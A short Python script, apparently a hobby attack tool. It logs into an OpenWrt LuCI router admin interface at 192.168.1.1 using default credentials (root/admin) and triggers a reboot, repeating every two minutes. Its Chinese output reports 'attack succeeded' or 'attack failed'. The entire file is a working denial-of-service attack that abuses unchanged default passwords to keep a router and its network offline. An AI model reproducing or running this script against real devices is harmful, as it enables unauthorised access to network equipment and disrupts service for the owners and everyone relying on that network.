import requests
import time

def wifiattract():
    s = requests.Session()
    login_post_url = 'http://192.168.1.1/cgi-bin/luci'
    post_data = {
        'luci_username': 'root',
        'luci_password': 'admin',
    }

    headers = {'Cache-Control':'no-cache',
        'Connection':'keep-alive',
        'Content-Type':'application/x-www-form-urlencoded',
        'Host':'192.168.1.1',
        'Origin': 'http://192.168.1.1',
        'Pragma':'no-cache',
        'Referer': 'http://192.168.1.1/cgi-bin/luci',
        'Upgrade-Insecure-Requests':'1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36',
    }

    try:
        response = s.post(url = login_post_url, data = post_data, headers = headers)
    except:
        print('等待网络连接')
        time.sleep(10)
    else:
        print(response.url)

        get_url = response.url+'/admin/reboot'
        pattern = {
            'reboot':'1',
            }
        response = s.get(url = get_url, params = pattern)

        response.encoding = 'utf-8'
        if '设备重启中' in response.text :
            print('攻击成功！')
        else:print('攻击失败！')

def main():
    while True:
        wifiattract()
        time.sleep(120)

if __name__ == "__main__":
    main()